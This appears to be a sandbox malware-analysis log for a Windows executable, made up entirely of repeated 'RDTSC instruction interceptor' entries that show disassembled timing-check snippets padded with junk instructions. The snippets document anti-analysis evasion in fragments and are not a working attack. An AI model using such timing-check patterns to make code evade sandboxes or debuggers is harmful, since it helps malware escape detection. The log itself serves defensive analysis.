Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A24F1E second address: A24F28 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF4C0C3E166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2A039 second address: A2A03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A29665 second address: A2966B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2966B second address: A29671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A29671 second address: A2968D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF4C0C3E166h 0x0000000a jmp 00007FF4C0C3E172h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A29C4D second address: A29C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A29C53 second address: A29C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 997684 second address: 9976A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF4C050159Eh 0x0000000a jno 00007FF4C0501596h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9976A2 second address: 9976A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2F993 second address: A2F9A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF4C050159Ah 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2F9A3 second address: A2F9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jc 00007FF4C0C3E166h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2F9AF second address: A2F9D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FF4C05015BBh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF4C050159Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2F9D1 second address: A2F9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2FB96 second address: A2FBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF4C050159Bh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2FBAD second address: A2FBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A2FFA0 second address: A2FFD4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF4C0501596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FF4C05015AAh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF4C050159Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30338 second address: A30374 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF4C0C3E166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF4C0C3E179h 0x00000010 jnl 00007FF4C0C3E166h 0x00000016 jns 00007FF4C0C3E166h 0x0000001c popad 0x0000001d jns 00007FF4C0C3E168h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30374 second address: A3037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30C71 second address: A30C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30C77 second address: A30C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30C92 second address: A30C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30C98 second address: A30C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30C9C second address: A30CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30CA2 second address: A30CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30F61 second address: A30F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30F69 second address: A30F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A30F6D second address: A30F87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A314E1 second address: A314E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A314E7 second address: A314EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A314EC second address: A31524 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF4C05015A6h 0x00000008 jng 00007FF4C0501596h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jmp 00007FF4C05015A1h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A31524 second address: A3152E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF4C0C3E166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35988 second address: A3598C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A3598C second address: A35990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35AFC second address: A35B17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF4C0501596h 0x00000009 jno 00007FF4C0501596h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35B17 second address: A35B21 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF4C0C3E166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35B21 second address: A35B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF4C05015A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35B2F second address: A35B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35C7A second address: A35C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35DF3 second address: A35DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35DF9 second address: A35DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35DFE second address: A35E2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF4C0C3E175h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b push esi 0x0000000c jmp 00007FF4C0C3E172h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A35E2E second address: A35E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jmp 00007FF4C05015A9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A36554 second address: A36559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A36559 second address: A36563 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF4C050159Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A36563 second address: A3656B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A3656B second address: A36575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF4C0501596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A36575 second address: A36595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007FF4C0C3E172h 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A36595 second address: A365A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A4313B second address: A43140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43140 second address: A43146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A432AD second address: A432B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A432B1 second address: A432BB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF4C0501596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A432BB second address: A432C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43418 second address: A43422 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF4C0501596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43422 second address: A43430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FF4C0C3E166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43430 second address: A43440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43440 second address: A43445 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43445 second address: A4345B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF4C050159Bh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A435F2 second address: A435FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FF4C0C3E166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A435FD second address: A4361F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007FF4C05015A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43762 second address: A43773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jbe 00007FF4C0C3E166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43773 second address: A43777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A43A67 second address: A43A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A44988 second address: A4498C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A4498C second address: A449A2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF4C0C3E166h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FF4C0C3E16Eh 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A449A2 second address: A449A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A449A6 second address: A449E2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF4C0C3E177h 0x00000008 jng 00007FF4C0C3E168h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jc 00007FF4C0C3E17Ch 0x00000017 jmp 00007FF4C0C3E170h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A4D64D second address: A4D655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A4D655 second address: A4D671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 popad 0x00000008 jo 00007FF4C0C3E194h 0x0000000e je 00007FF4C0C3E172h 0x00000014 ja 00007FF4C0C3E166h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A53D38 second address: A53D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A53D54 second address: A53D7A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jne 00007FF4C0C3E172h 0x0000000e push ebx 0x0000000f jc 00007FF4C0C3E166h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5BC69 second address: A5BC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A1h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5B76D second address: A5B792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E178h 0x00000007 jnc 00007FF4C0C3E166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5B792 second address: A5B7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF4C0501596h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5F74A second address: A5F751 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5F751 second address: A5F757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5F434 second address: A5F438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A5F438 second address: A5F43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A6593C second address: A65940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A6A43E second address: A6A453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF4C0501596h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jc 00007FF4C050159Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A6FD48 second address: A6FD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A747C9 second address: A747F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A5h 0x00000009 popad 0x0000000a jmp 00007FF4C050159Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A780F6 second address: A780FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99411C second address: 994120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7EC27 second address: A7EC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C0C3E177h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7EC42 second address: A7EC46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7EC46 second address: A7EC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7EC51 second address: A7EC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7D64A second address: A7D64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7D8D6 second address: A7D8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7D8DA second address: A7D8E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7DB43 second address: A7DB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF4C0501596h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7DB52 second address: A7DB7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E178h 0x00000007 pushad 0x00000008 jp 00007FF4C0C3E166h 0x0000000e jp 00007FF4C0C3E166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A7DCBB second address: A7DCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A81580 second address: A8158B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF4C0C3E166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8DB3B second address: A8DB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A8DB40 second address: A8DB62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF4C0C3E18Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FF4C0C3E166h 0x00000017 rdtsc
